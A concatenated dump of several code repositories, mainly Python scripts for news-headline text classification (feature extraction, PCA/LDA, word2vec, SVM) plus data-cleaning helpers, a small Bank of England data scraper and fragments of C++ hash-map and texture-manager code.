log = open('log.txt', 'a', encoding = 'utf-8')
log.write('one-hot零向量总计: ' + str(count - m) + ', ' + str((count - m) / count) + '\n')
log.close()
return
#=========================================================================
#==================================tf-idf===============================
#----------------------------建立tf-idf字典---------------------------
def tfIdfDict():
f = open('label_segmentation_train.txt', 'r', encoding = 'utf-8')
line = f.readline()
dictionary = {}
count = 0
while line:
line = line.strip('\n')#特别注意这个换行符问题!
L = line.split(',')
words = L[1].split(' ')
line = f.readline()
for word in words:
if word in dictionary:
dictionary[word] += 1
else:
dictionary[word] = 1
count += 1
print(count)
f.close()
g = open('idfDDictionary.plk', 'wb')
pickle.dump(dictionary, g)
g.close()
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('计算idf中,每个词在整个文本中出现的次数,也就是包含词的文章数,即idf分母,按照dict存在idfDDictionary.plk' + '\n')
log.close()
return
#--------------------------获取n条数据的tf-idf------------------
def tfIdfGet(Y):
n = len(Y)
f = open('dictionary.plk', 'rb')
dictionary = pickle.load(f)
f.close()
g= open('idfDDictionary.plk', 'rb')
idfDictionary = pickle.load(g)
g.close()
Z = []
for text in Y:
temp = [0] * 67216
words = text.split(' ')
for word in words:
if word in dictionary:
tf = 1 / len(words)
idf = math.log(337930 / idfDictionary[word])
temp[dictionary[word]] += (tf * idf)
Z.append(temp)
if __name__ == '__main__':
print('抽取' + str(n) + '条tf-idf编码\n')
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('抽取' + str(n) + '条tf-idf编码\n')
log.close()
return Z
#===================================PCA=========================================
#----------------------------------pca训练----------------------------------
def pcaTrain(X, n = 600):
m = len(X)
pca = PCA(n_components = n)
pca.fit(X)
g = open('pca.plk', 'wb')
pickle.dump(pca, g)
g.close()
print("pca降维,维度:", n, '训练集规模:', m)
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('pca降维, 维度:' + str(n) + ', 训练集规模: ' + str(m) + '\n')
log.write('模型保存在: pca.plk中\n')
log.close()
return
def pcaGet(X):
g= open('pca.plk', 'rb')
pca = pickle.load(g)
g.close()
newX = pca.fit_transform(X)
if __name__ == '__main__':
print('pca降维')
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('pca降维\n')
log.close()
return newX
#===================================LDA=========================================
#---------------------------------lda训练---------------------------------
def ldaTrain(X, n = 4):
m = len(X)
lda = LatentDirichletAllocation(n_components = n)
lda.fit(X)
g = open('lda.plk', 'wb')
pickle.dump(lda, g)
g.close()
print("lda降维,维度:", n, '训练集规模:', m)
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('lda降维, 维度:' + str(n) + ', 训练集规模: ' + str(m) + '\n')
log.write('模型保存在: lda.plk中\n')
log.close()
return
def ldaGet(X):
g= open('lda.plk', 'rb')
lda = pickle.load(g)
g.close()
newX = lda.fit_transform(X)
if __name__ == '__main__':
print('lda降维')
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('lda降维\n')
log.close()
return newX
#============================================================================
#-------------------------------word2vec----------------------------------
def word2vec(X):
newX = []
model = gensim.models.KeyedVectors.load_word2vec_format('GoogleNews-vectors-negative300.bin',binary=True)
for text in X:
words = text.strip('\n').split(' ')
m = np.zeros(300)
n = 0
for word in words:
try:
k = model.wv[word]
m = m + k
n = n + 1
except:
continue
if n != 0:
#取平均
m = m / n
newX.append(m)
if __name__ == '__main__':
print('word2vec')
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('word2vec\n')
log.close()
return newX
#==========================随机抽取数据,label和数据以list形式返回=========================
def sample(n = 5):
f = open('label_segmentation_train.txt', 'r', encoding = 'utf-8')
line = f.readline()
#--------------利用random,打乱list中的顺序,然后按照比例抽取----------
dataSet = []
while line:
dataSet.append(line.split(','))
line = f.readline()
f.close()
random.shuffle(dataSet)
X = []
Y = []
for i in range(n):
X.append(dataSet[i][0])
Y.append(dataSet[i][1].strip('\n'))
print('随机抽取' + str(n) + '条数据')
log = open('log.txt', 'a', encoding = 'utf-8')
log.write('随机抽取:' + str(n) + '条数据\n')
log.close()
return X,Y
#===============================================================================
#===============================================================================
def main():
#--------------------------------每次运行,打印、写入时间戳-------------------------
print(datetime.date.today())
f = open('log.txt', 'a', encoding = 'utf-8')
f.write('\n=============================================\n')
f.write(str(datetime.date.today()) +' featureExtract.py' + '\n')
f.close()
#--------------------------------------------------------
#oneHotDict()
#oneHotStatistics()
#label_segmentation()
#tfIdfDict()
#pcaTrain()
#ldaTrain()
'''
X, Y = sample(10)
Z = tfIdfGet(Y)
print(Y[0])
for i in Z[0]:
if i != 0:
print(i)
X, Y = sample(1000)
Z = tfIdfGet(Y)
ldaTrain(Z)
pcaTrain(Z)
X, Y = sample(5)
Y = tfIdfGet(Y)
print(ldaGet(Y))
print(pcaGet(Y))
'''
return
if __name__ == '__main__':
main()<file_sep>/辅助脚本/quchong.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'去除重复行'
__author__ = 'lxp'
def test():
shuruwenjian = input('请输入要去重的文件名: ')
shuchuwenjian = input('请输入要输出的文件名: ')
f = open(shuruwenjian, 'r', encoding='utf-8')
line = f.readline()
g = open(shuchuwenjian, 'w+')#之所以分词和类别分开,是为了向量化训练方便
g.truncate()#清空文件,防止测试时候不停加入
g = open(shuchuwenjian, 'a', encoding='utf-8')
bag = set()
n = 0
m = 0
while line:
n = n + 1
if line in bag:
line = f.readline()
m = m + 1
continue
bag.add(line)
g.write(line)
line = f.readline()
g.close()
f.close()
print('n =', n)
print('m =', m)
print("去重率:", m / n)
return
if __name__ == '__main__':
test()<file_sep>/cleaningAndSample.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'预处理kaggle新闻数据集:清洗,标签转换,抽取训练集、验证集'
__author__ = 'lxp'
from pandas import Series, DataFrame
import numpy as np
import pandas as pd
import time
import datetime
import re
import random
#================去掉数据中不需要的属性,清洗、统计数据集====================
def cleanData():
f = open('uci-news-aggregator.csv', 'r', encoding='utf-8')
g = open('label_text.txt', 'w', encoding = 'utf-8')
g.truncate()
g.close()
g =open('label_text.txt', 'a', encoding = 'utf-8')
log = open('log.txt', 'a', encoding = 'utf-8')#日志文件
line = f.readline()
line = f.readline()
#记录类别信息,统计
b = 0
t = 0
e = 0
m = 0
count = 0
while line:
L = line.split(",")
k = len(L)
if k >= 8:#文本中有可能有分隔符,所以是大于等于,等于的话,丢弃八万条,太多了
text = L[k - 4] + ',' + L[1]
#--------------这个for循环,有时候因为publish那里也有分隔符,所有会把url等也写进去,所以需要正则化,按照url清洗一下
for i in range(2, k - 6):
text += ' ' + L[i]
text = re.sub('((www\.[^\s]+)|(https?://[^\s]+))','', text)#这里并没有清洗太干净,但不影响后面,因为主要是在分词做计算,所以符号、数字、空格不影响
g.write(text + '\n')
count += 1
if L[k - 4] == 'b':
b += 1
if L[k - 4] == 't':
t += 1
if L[k - 4] == 'e':
e += 1
if L[k - 4] == 'm':
m += 1
line = f.readline()
#---------------------------打印结果,写入日志-------------------------------------
print('b:', b, b / count)
log.write('b:' + str(b) + ', ' + str(b / count) + '\n')
print('t:', t, t / count)
log.write('t:' + str(t) + ', ' + str(t / count) + '\n')
print('e:', e, e / count)
log.write('e:' + str(e) + ', ' + str(e / count) + '\n')
print('m:', m, m / count)
log.write('m:' + str(m) + ', ' + str(m / count) + '\n')
print(count)
log.write('count:' + str(count) + '\n')
f.close()
g.close()
log.close()
return
#=================================抽取训练集,测试集,验证集========================
def splitData():
f = open('label_text.txt', 'r', encoding = 'utf-8')
line = f.readline()
#--------------利用random,打乱list中的顺序,然后按照比例抽取----------
dataSet = []
while line:
dataSet.append(line.split(','))
line = f.readline()
f.close()
random.shuffle(dataSet)
pos = int(len(dataSet) * 0.8)
pos2 = int(len(dataSet) * 0.9)
trainingSet = dataSet[:pos]
testSet = dataSet[pos:pos2]
validateSet = dataSet[pos2:]
log = open('log.txt', 'a', encoding = 'utf-8')#日志文件
#--------------------------训练集--------------------------
#记录类别信息,统计
b = 0
t = 0
e = 0
m = 0
count = 0
g = open('trainingSet.txt', 'w', encoding = 'utf-8')
g.truncate()
g.close()
g = open('trainingSet.txt', 'a', encoding = 'utf-8')
for L in trainingSet:
g.write(L[0] + ',' + L[1])
count += 1
if L[0] == 'b':
b += 1
if L[0] == 't':
t += 1
if L[0] == 'e':
e += 1
if L[0] == 'm':
m += 1
g.close()
#--------------打印结果,写入日志-----------
print('训练集:')
log.write('训练集:' + '\n')
print('b:', b, b / count)
log.write('b:' + str(b) + ', ' + str(b / count) + '\n')
print('t:', t, t / count)
log.write('t:' + str(t) + ', ' + str(t / count) + '\n')
print('e:', e, e / count)
log.write('e:' + str(e) + ', ' + str(e / count) + '\n')
print('m:', m, m / count)
log.write('m:' + str(m) + ', ' + str(m / count) + '\n')
print(count)
log.write('count:' + str(count) + '\n')
#---------------------------------测试集------------------------
b = 0
t = 0
e = 0
m = 0
count = 0
h = open('testSet.txt', 'w', encoding = 'utf-8')
h.truncate()
h.close()
h = open('testSet.txt', 'a', encoding = 'utf-8')
for L in testSet:
h.write(L[0] + ',' + L[1])
count += 1
if L[0] == 'b':
b += 1
if L[0] == 't':
t += 1
if L[0] == 'e':
e += 1
if L[0] == 'm':
m += 1
h.close()
print('测试集:')
log.write('测试集:' + '\n')
print('b:', b, b / count)
log.write('b:' + str(b) + ', ' + str(b / count) + '\n')
print('t:', t, t / count)
log.write('t:' + str(t) + ', ' + str(t / count) + '\n')
print('e:', e, e / count)
log.write('e:' + str(e) + ', ' + str(e / count) + '\n')
print('m:', m, m / count)
log.write('m:' + str(m) + ', ' + str(m / count) + '\n')
print(count)
log.write('count:' + str(count) + '\n')
#---------------------------------验证集------------------------
b = 0
t = 0
e = 0
m = 0
count = 0
h = open('validateSet.txt', 'w', encoding = 'utf-8')
h.truncate()
h.close()
h = open('validateSet.txt', 'a', encoding = 'utf-8')
for L in validateSet:
h.write(L[0] + ',' + L[1])
count += 1
if L[0] == 'b':
b += 1
if L[0] == 't':
t += 1
if L[0] == 'e':
e += 1
if L[0] == 'm':
m += 1
h.close()
print('验证集:')
log.write('验证集:' + '\n')
print('b:', b, b / count)
log.write('b:' + str(b) + ', ' + str(b / count) + '\n')
print('t:', t, t / count)
log.write('t:' + str(t) + ', ' + str(t / count) + '\n')
print('e:', e, e / count)
log.write('e:' + str(e) + ', ' + str(e / count) + '\n')
print('m:', m, m / count)
log.write('m:' + str(m) + ', ' + str(m / count) + '\n')
print(count)
log.write('count:' + str(count) + '\n')
log.close()
return
def main():
#--------------------------------每次运行,打印、写入时间戳-------------------------
print(datetime.date.today())
f = open('log.txt', 'a', encoding = 'utf-8')
f.write('\n=============================================\n')
f.write(str(datetime.date.today()) + ' cleaningAndSample.py' + '\n')
f.close()
#cleanData()
#splitData()
return
if __name__ == '__main__':
main()<file_sep>/Preprocess.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'预处理kaggle新闻数据集'
__author__ = 'lxp'
from pandas import Series, DataFrame
import numpy as np
import pandas as pd
import nltk
from nltk.tokenize import word_tokenize
import csv
import warnings
warnings.filterwarnings(action='ignore', category=UserWarning, module='gensim')
import gensim
from gensim.models import Word2Vec
from gensim.models.word2vec import LineSentence
#================去掉数据中不需要的属性,将多分类变成二分类问题====================
def cleanData():
x = pd.read_csv("uci-news-aggregator.csv")
counts = x['CATEGORY'].value_counts()
print("整个数据集类别统计", counts)
#删除无关属性
del x['ID']
del x['URL']
del x['PUBLISHER']
del x['STORY']
del x['HOSTNAME']
del x['TIMESTAMP']
x.dropna(axis = 0)
x['CATEGORY'].replace(['b', 't', 'e', 'm'], [-1, 1, -1, -1],inplace = True)
category = x['CATEGORY']
x.drop(labels=['CATEGORY'], axis=1,inplace = True)
x.insert(0, 'CATEGORY', category)
#因为已经生成新的文件,因此可以这里将下面生成文件的代码注释
x.to_csv('notCleandata.csv', sep=',', header=None, index=None, encoding='utf-8')
counts = x['CATEGORY'].value_counts()
print("整个数据集二分类别统计", counts)
#-------------在处理时发现,这个数据集有几百数据分隔符和其余不一样,pandas读取得数据有部分读不了
#但是,写入时候会原封不动再写进去,因此,通过每一行前几个字符,踢去这些数据-----------------------------
f = open('notCleandata.csv', 'r', encoding='utf-8')
g = open('data.txt', 'w+')
g.truncate() # 清空文件,防止测试时候不停加入
g.close()
g = open('data.txt', 'a', encoding='utf-8')
line = f.readline()
while line:
if (line[0] == '1' and line[1] == ',') or (line[0] == '-' and line[1] == '1' and line[2] == ','):
g.write(line)
line = f.readline()
f.close()
g.close()
return 0
#======================部分算法需要分词,这里就对数据进行分词,格式为:标签,分词(分词以空格隔开)=======================
def stemming():
#f = open('data.csv', encoding= 'gb18030', errors= 'ignore')
f = open('data.txt', 'r', encoding='utf-8')
g = open('segmentation.txt', 'w+')
g.truncate()#清空文件,防止测试时候不停加入
g.close()
g = open('segmentation.txt', 'a', encoding='utf-8')
line = f.readline()
#停词库
notWords = ['i', 'me', 'my', 'myself', 'we', 'our',\
'ours', 'ourselves', 'you', 'your', 'yours',\
'yourself', 'yourselves', 'he', 'him', 'his',\
'himself', 'she', 'her', 'hers', 'herself',\
'it', 'its', 'itself', 'they', 'them', 'their',\
'theirs', 'themselves', 'what', 'which',\
'who', 'whom', 'this', 'that', 'these',\
'those', 'am','is', 'are', 'was', 'were',\
'be', 'been', 'being','have', 'has', 'had',\
'having', 'do', 'does', 'did', 'doing',\
'a', 'an', 'the', 'and', 'but', 'if', 'or',\
'because', 'as', 'until', 'while', 'of',\
'at', 'by', 'for', 'with', 'about', 'against',\
'between', 'into', 'through', 'during',\
'before', 'after', 'above', 'below', 'to',\
'from', 'up', 'down', 'in', 'out', 'on',\
'off', 'over', 'under', 'again', 'further',\
'then', 'once', 'here', 'there', 'when',\
'where', 'why', 'how', 'all', 'any', 'both',\
'each', 'few', 'more', 'most', 'other',\
'some', 'such', 'no', 'nor', 'not', 'only',\
'own', 'same', 'so', 'than', 'too', 'very',\
's', 't', 'can', 'will', 'just', 'don',\
'should', 'now', ',', '.', ':', ';', '?',\
'(', ')', '[', ']', '&', '!', '*', '@',\
'#', '$', '%']
while line:
L = line.split(',', 1)
line = f.readline()
g.write(L[0])
g.write(',')
#去停词
words = word_tokenize(L[1].lower())
for word in words:
if not word.isalpha:
continue
if word in notWords:
continue
g.write(word)
g.write(' ')
g.write('\n')
f.close()
g.close()
return
#====================把所有标签删除,分词写到一个文件,并按照标签顺序写入,为word2vec训练准备语料=================
#因为后面的程序是把label和data分开处理的,所以这里也分开写
def makeWordBag():
f = open('segmentation.txt', 'r', encoding='utf-8')
g = open('sentences.txt', 'w+')
g.truncate()#清空文件,防止测试时候不停加入
g.close()
g = open('sentences.txt', 'a', encoding='utf-8')
h = open('labels.txt', 'w+')
h.truncate()#清空文件,防止测试时候不停加入
h.close()
h = open('labels.txt', 'a', encoding='utf-8')
line = f.readline()
#--------------先写入+标签的数据---------
while line:
L = line.split(',', 1)
line = f.readline()
if L[0][0] == '1':
g.write(L[1])
h.write('1' + '\n')
f.close()
#--------------再写入-标签的数据----------------
f = open('segmentation.txt', 'r', encoding='utf-8')
line = f.readline()
while line:
L = line.split(',', 1)
line = f.readline()
if L[0][0] == '-':
g.write(L[1])
h.write('-1' + '\n')
f.close()
g.close()
h.close()
return
#================word2vec训练过程=========================
def w2v():
sentences = LineSentence('sentences.txt')
model = Word2Vec(sentences, size=300, window=5, min_count=5, workers=4)
model.save('42w.model')#保存模型
print(model.wv['computer'])
return
#=========================把整个文件中所有数据做sent2vec==========================
def sent2vec():
f = open('sentences.txt', 'r', encoding='utf-8')
line = f.readline()
g = open('vecs.txt', 'w+')
g.truncate()#清空文件,防止测试时候不停加入
g.close()
g = open('vecs.txt', 'a', encoding='utf-8')
#这里用的是谷歌新闻训练好的一个语料,这个地方比较吃内存
model = gensim.models.KeyedVectors.load_word2vec_format('GoogleNews-vectors-negative300.bin',binary=True)
#----------------------每个句子中的分词做word2vec,再去平均-------------------------
while line:
L = line.split(' ')
line = f.readline()
m = np.zeros(300)
n = 0
for l in L:
try:
k = model.wv[l]
m = m + k
n = n + 1
except:
continue
if n != 0:
#取平均
m = m / n
for i in m:
g.write(str(i))
g.write(' ')
g.write('\n')
f.close()
g.close()
#--------------------把vec和labels合为一个文件vecdata.csv, vecs在前,label在后-----------------
df = pd.read_table('vecs.txt', sep = ' ', encoding = 'utf-8', header = None)
del df[300]
df1 = pd.read_table('labels.txt', sep = ' ', encoding = 'utf-8', header = None)
df['label'] = df1
df.to_csv('vecdata.csv', index = False,header = False, sep = ',')
return
#===================================================
#---------------------------------------------------
def test():
cleanData()
stemming()
makeWordBag()
w2v()
#实验发现42万条的word2vec训练太少了,因此采用了谷歌新闻语料
sent2vec()
return
if __name__ == '__main__':
test()<file_sep>/辅助脚本/sample.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'数据抽样'
__author__ = 'lxp'
def test():
shuruwenjian = input('请输入要抽样的文件名: ')
shuchuwenjian = input('请输入要输出的文件名: ')
k = int(input('抽样间隔'))
f = open(shuruwenjian, 'r', encoding='utf-8')
line = f.readline()
g = open(shuchuwenjian, 'w+')
g.truncate()#清空文件,防止测试时候不停加入
g = open(shuchuwenjian, 'a', encoding='utf-8')
n = 0
m = 0
while line:
n = n + 1
if n % k != 0:
line = f.readline()
continue
m = m + 1
g.write(line)
line = f.readline()
g.close()
f.close()
print('抽取数据总数:', m)
return
if __name__ == '__main__':
test()<file_sep>/辅助脚本/cleaningTwitterText.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'get cleaning twitter'
__author__ = 'lxp'
import re
import nltk
def load_stopwords():
stop_words = nltk.corpus.stopwords.words('english')
stop_words.extend(['this','that','the','might','have','been','from',
'but','they','will','has','having','had','how','went'
'were','why','and','still','his','her','was','its','per','cent',
'a','able','about','across','after','all','almost','also','am','among',
'an','and','any','are','as','at','be','because','been','but','by','can',
'cannot','could','dear','did','do','does','either','else','ever','every',
'for','from','get','got','had','has','have','he','her','hers','him','his',
'how','however','i','if','in','into','is','it','its','just','least','let',
'like','likely','may','me','might','most','must','my','neither','nor',
'not','of','off','often','on','only','or','other','our','own','rather','said',
'say','says','she','should','since','so','some','than','that','the','their',
'them','then','there','these','they','this','tis','to','too','twas','us',
'wants','was','we','were','what','when','where','which','while','who',
'whom','why','will','with','would','yet','you','your','ve','re','rt', 'retweet', '#fuckem', '#fuck',
'fuck', 'ya', 'yall', 'yay', 'youre', 'youve', 'ass','factbox', 'com', '<', 'th',
'retweeting', 'dick', 'fuckin', 'shit', 'via', 'fucking', 'shocker', 'wtf', 'hey', 'ooh', 'rt&', '&',
'#retweet', 'retweet', 'goooooooooo', 'hellooo', 'gooo', 'fucks', 'fucka', 'bitch', 'wey', 'sooo', 'helloooooo', 'lol', 'smfh'])
stop_words = set(stop_words)
return stop_words
def normalize_text(text):
text = re.sub('((www\.[^\s]+)|(https?://[^\s]+)|(pic\.twitter\.com/[^\s]+))','', text)
text = re.sub('@[^\s]+','', text)
text = re.sub('#([^\s]+)', '', text)
text = re.sub('[:;>?<=*+()/,\-#!$%\{˜|\}\[^_\\@\]1234567890’‘]',' ', text)
text = re.sub('[\d]','', text)
text = text.replace(".", '')
text = text.replace("'", ' ')
text = text.replace("\"", ' ')
#text = text.replace("-", " ")
#normalize some utf8 encoding
text = text.replace("\x9d",' ').replace("\x8c",' ')
text = text.replace("\xa0",' ')
text = text.replace("\x9d\x92", ' ').replace("\x9a\xaa\xf0\x9f\x94\xb5", ' ').replace("\xf0\x9f\x91\x8d\x87\xba\xf0\x9f\x87\xb8", ' ').replace("\x9f",' ').replace("\x91\x8d",' ')
text = text.replace("\xf0\x9f\x87\xba\xf0\x9f\x87\xb8",' ').replace("\xf0",' ').replace('\xf0x9f','').replace("\x9f\x91\x8d",' ').replace("\x87\xba\x87\xb8",' ')
text = text.replace("\xe2\x80\x94",' ').replace("\x9d\xa4",' ').replace("\x96\x91",' ').replace("\xe1\x91\xac\xc9\x8c\xce\x90\xc8\xbb\xef\xbb\x89\xd4\xbc\xef\xbb\x89\xc5\xa0\xc5\xa0\xc2\xb8",' ')
text = text.replace("\xe2\x80\x99s", " ").replace("\xe2\x80\x98", ' ').replace("\xe2\x80\x99", ' ').replace("\xe2\x80\x9c", " ").replace("\xe2\x80\x9d", " ")
text = text.replace("\xe2\x82\xac", " ").replace("\xc2\xa3", " ").replace("\xc2\xa0", " ").replace("\xc2\xab", " ").replace("\xf0\x9f\x94\xb4", " ").replace("\xf0\x9f\x87\xba\xf0\x9f\x87\xb8\xf0\x9f", "")
text = re.sub("[^a-zA-Z]", " ", text)
return text
def nltk_tokenize(text):
tokens = []
features = []
tokens = text.split()
stop_words = load_stopwords()
for word in tokens:
if word.lower() not in stop_words and len(word) > 2:
features.append(word)
return features
def tokenize(text):
text = normalize_text(text)
words = nltk_tokenize(text)
return words
def normalize_text(text):
text = re.sub('((www\.[^\s]+)|(https?://[^\s]+)|(pic\.twitter\.com/[^\s]+))','', text)
text = re.sub('@[^\s]+','', text)
text = re.sub('\t', ' ', text)
text = re.sub('\n', '', text)
return text
def test():
shuruwenjian = input('请输入要清洗的文件名: ')
shuchuwenjian = input('请输入要输出的文件名: ')
f = open(shuruwenjian, 'r', encoding='utf-8')
line = f.readline()
g = open(shuchuwenjian, 'w+')
g.truncate()#清空文件,防止测试时候不停加入
g = open(shuchuwenjian, 'a', encoding='utf-8')
while line:
l = tokenize(line)
if len(l) < 4:
line = f.readline()
continue
g.write(normalize_text(line))
g.write('\n')
line = f.readline()
g.close()
f.close()
return
if __name__ == '__main__':
test()<file_sep>/svmForSTC.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'svm for short text classification'
__author__ = 'lxp'
import warnings
warnings.filterwarnings(action='ignore', category=UserWarning, module='gensim')
import gensim
from gensim.models import Word2Vec
from gensim.models.word2vec import LineSentence
import numpy as np
import pandas as pd
from sklearn import svm
from sklearn.externals import joblib
import random
#==========================随机选取n做训练集,实验证明10000比较好===========================
def sample(n = 10000):
df = pd.read_table('vecdata.csv', sep = ',', encoding = 'utf-8', header = None)
training = df.sample(n)
return training
#========================sklearn做svm训练==============================================
#-----------------参数说明:_weight是正例的权重,负例权重设置为-1;m是训练样本数-----------
def svmtrain(_weight = 1, m = 10000):
training = sample(n = m)
x = training.drop(300, axis = 1)
y = training[300]
clf = svm.SVC( class_weight = {-1:1, 1: _weight})
clf.fit(x, y)
#把训练好的模型保存下来,名字为'train_model.m'
joblib.dump(clf, "train_model.m")
return
#=========================测试====================================
def accuracy():
clf = joblib.load("train_model.m")
#随机取20000条测试
df = sample(20000)
x = df.drop(300, axis = 1)
y = df[300]
m = n = TP = TN = 0
for i in range(20000):
if y.iloc[i] == 1:
m = m + 1
if clf.predict(x.iloc[i].values.reshape(1, -1)) == 1:
TP = TP + 1
else:
n = n + 1
if clf.predict(x.iloc[i].values.reshape(1, -1)) == -1:
TN = TN + 1
print('TP:', TP / m)
print('TN:', TN / n)
print('正确率:', (TP + TN) / 20000)
return
#==========================================================================
#--------------------------------------------------------------------------
def test():
#数据正负样本比例为1:3,给正例权重暂时设为3
svmtrain(3)
#-----测试10次------
for i in range(10):
accuracy()
return
if __name__ == '__main__':
test()<file_sep>/test.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'svm'
__author__ = 'lxp'
import featureExtract as fE
import numpy as np
from sklearn.linear_model import LogisticRegression
from sklearn.externals import joblib
import time
import datetime
import random
import gensim
from gensim.models import Word2Vec
from gensim.models.word2vec import LineSentence
import warnings
warnings.filterwarnings(action='ignore', category=UserWarning, module='gensim')
#===============================================================================
#-------------------------------------svm-----------------------------------
def svmTrain(lb = {'b':1, 't':1, 'e':1, 'm':-1}, n = 1000, W = 1, fe = 'one-hot', descend = None):
Y, X = fE.sample(n)
y = []
for s in Y:
y.append(lb[s])
if fe == 'one-hot':
x = fE.oneHotGet(X)
if fe == 'tf-idf':
x = fE.tfIdfGet(X)
if fe == 'word2vec':
x = fE.word2vec(X)
if descend == 'pca':
x = fE.pcaGet(x)
if descend == 'lda':
x = fE.ldaGet(x)
clf = LogisticRegression()
clf.fit(x, y)
joblib.dump(clf, "svmTrainModel.m")
print('svm训练, label转换为:', lb, '\n训练集规模:', n, '\n权重:', W,'\n特征提取为:', fe, '\n降维方法:', descend)
return
def accuracy(lb = {'b':1, 't':1, 'e':1, 'm':-1}, fe = 'one-hot', descend = None):
clf = joblib.load("svmTrainModel.m")
f = open('label_segmentation_test.txt', 'r', encoding = 'utf-8')
line = f.readline()
dataSet = []
while line:
dataSet.append(line.split(','))
line = f.readline()
f.close()
random.shuffle(dataSet)
count = 3000
X = []
Y = []
for i in range(count):
Y.append(dataSet[i][0])
X.append(dataSet[i][1].strip('\n'))
y = []
for s in Y:
y.append(lb[s])
if fe == 'one-hot':
x = fE.oneHotGet(X)
if fe == 'tf-idf':
x = fE.tfIdfGet(X)
if fe == 'word2vec':
x = fE.word2vec(X)
if descend == 'pca':
x = fE.pcaGet(x)
if descend == 'lda':
x = fE.ldaGet(x)
n = 0
for i in range(count):
if fe != 'word2vec':
x[i] = np.array(x[i])
res = clf.predict(x[i].reshape(1, -1))
if res == y[i]:
n += 1
if i % 50 == 0:
print(res)
#count = TP + TN + FN + FP
print('svm测试\nlabel转换为:', lb, '\n特征提取为:', fe, '\n降维方法:', descend)
print('总计:', count)
print('精度:', n / count)
return
#===============================================================================
#===============================================================================
def main():
#--------------------------------每次运行,打印、写入时间戳-------------------------
print(datetime.date.today())
#--------------------------------------------------------
temp = 'word2vec'
Des = None
svmTrain(lb = {'b':0, 't':1, 'e':2, 'm':3}, n = 10000, fe = temp, descend = Des)
print('---------------------------------------')
accuracy(lb = {'b':0, 't':1, 'e':2, 'm':3}, fe = temp, descend = Des)
print('######################################')
return
if __name__ == '__main__':
main()
|
303e1f14d1bfb7d6cd0e1ef57061fa891c2839a5
|
[
"Markdown",
"Python"
] | 10
|
Python
|
LiuXPeng/shortTextClassification
|
0db531eb1a54885a16c0ca1c6724ed1c60126905
|
ff1971f5461e716e2734cfc3775f7484ebbcc082
|
refs/heads/master
|
<repo_name>andrewglynch/python_financials<file_sep>/run_analysis.sh
python date_parameters.py
python data_analysis.py
<file_sep>/date_parameters.py
# set libraries
import datetime
today = datetime.datetime.now()
current_year = today.year
oldest_year = today.year - 20
<file_sep>/data_analysis.py
# set up initial libraries
import numpy as np
import pandas as pd
from bs4 import BeautifulSoup
from urllib.request import urlopen
import csv
from date_parameters import oldest_year
from date_parameters import current_year
# set data URLs
f = open('data_series_names.csv')
csv_f = csv.reader(f)
data_series_id_list = []
for item in csv_f:
data_series_id_list.append(item)
for data_series_id in data_series_id_list:
print(data_series_id)
'''
data_url = 'https://www.bankofengland.co.uk/boeapps/database/fromshowcolumns.asp?Travel=NIxAZxSUx&FromSeries=1&ToSeries=50&DAT=RNG&FD=1&FM=Jan&FY=' + str(oldest_year) + '&TD=11&TM=May&TY=' + str(current_year) '&FNY=Y&CSVF=TT&html.x=66&html.y=26&SeriesCodes=' + data_series_id + '&UsingCodes=Y&Filter=N&title=' + data_series_id + '&VPD=Y'
page = urllib.request.urlopen(data_url)
soup = BeautifulSoup(page)
stats_table = soup.find('table', id="stats-table")
print(stats_table)
'''
<file_sep>/README.md
# test_code
Testing financial analysis with Python
|
fce127c58ea5e0e2c878b639923e7f165f79a21d
|
[
"Markdown",
"Python",
"Shell"
] | 4
|
Shell
|
andrewglynch/python_financials
|
a60e318b7aa0755c1c504f65e3427e3d4cdd40e2
|
e6efdd4eacb89fae3b0b0b3cbb1da359791f01e7
|
refs/heads/master
|
<file_sep>#include "DIY_Hash_Map.h"
#include "cPerson.h"
#include <iostream>
int main_DIY_HASHMAP()
{
sPerson michael;
michael.first = "Michael";
michael.last = "Feeney";
sPerson robin;
robin.first = "Robin";
robin.last = "Bobbin";
sPerson fraser;
fraser.first = "Fraser";
fraser.last = "Fareast";
sPerson jacob;
jacob.first = "Jacob";
jacob.last = "Sir";
cHashMap myMap;
myMap.Insert("Michael", michael);
myMap.Insert("Robin", robin);
myMap.Insert("Fraser", fraser);
myMap.Insert("Jacob", jacob);
sPerson personToGet;
myMap.GetPersonAt("Fraser", personToGet);
return 0;
}
<file_sep>#ifndef _cBasicTextureManager_HG_
#define _cBasicTextureManager_HG_
#include <string>
#include <map>
#include "CTextureFromBMP.h"
#include <vector>
// The texture manager now holds information for the FBOs, too
// This is so it can look them up as "normal" textures
#include "../cFBO.h"
class cBasicTextureManager
{
public:
bool Create2DTextureFromBMPFile( std::string textureFileName, bool bGenerateMIPMap );
bool Create2DTextureFromBMPFile_ASYNC( std::string textureFileName, bool bGenerateMIPMap );
// Picks a random texture from the textures loaded
std::string PickRandomTexture(void);
bool CreateCubeTextureFromBMPFiles( std::string cubeMapName,
std::string posX_fileName, std::string negX_fileName,
std::string posY_fileName, std::string negY_fileName,
std::string posZ_fileName, std::string negZ_fileName,
bool bIsSeamless, std::string &errorString );
// This will be for the off screen FBO textures
struct sFBOTextureInfo
{
GLuint FBO_ID; // Not really needed
std::string friendlyName;
GLuint textureID;
};
bool AddFBOTextures( cFBO* pTheFBO, std::vector<sFBOTextureInfo> );
// returns 0 on error
// Note: This is being called multiple times per frame, usually.
GLuint getTextureIDFromName( std::string textureFileName );
void SetBasePath(std::string basepath);
// Check to see if the texture has been loaded, and is ready to go into the GPU
// This gets called every frame (maybe) to see if there are some textures ready to go.
bool CheckForPendingTextureGPULoads(void);
private:
std::string m_basePath;
std::string m_lastError;
void m_appendErrorString( std::string nextErrorText );
void m_appendErrorStringLine( std::string nextErrorTextLine );
// Alter this a little bit so that it also shows when the texture
// has been loaded from the hard drive and is ready to be copied
// into the GPU....
std::map< std::string, CTextureFromBMP* > m_map_TexNameToTexture;
// This does the actual loading of the textures
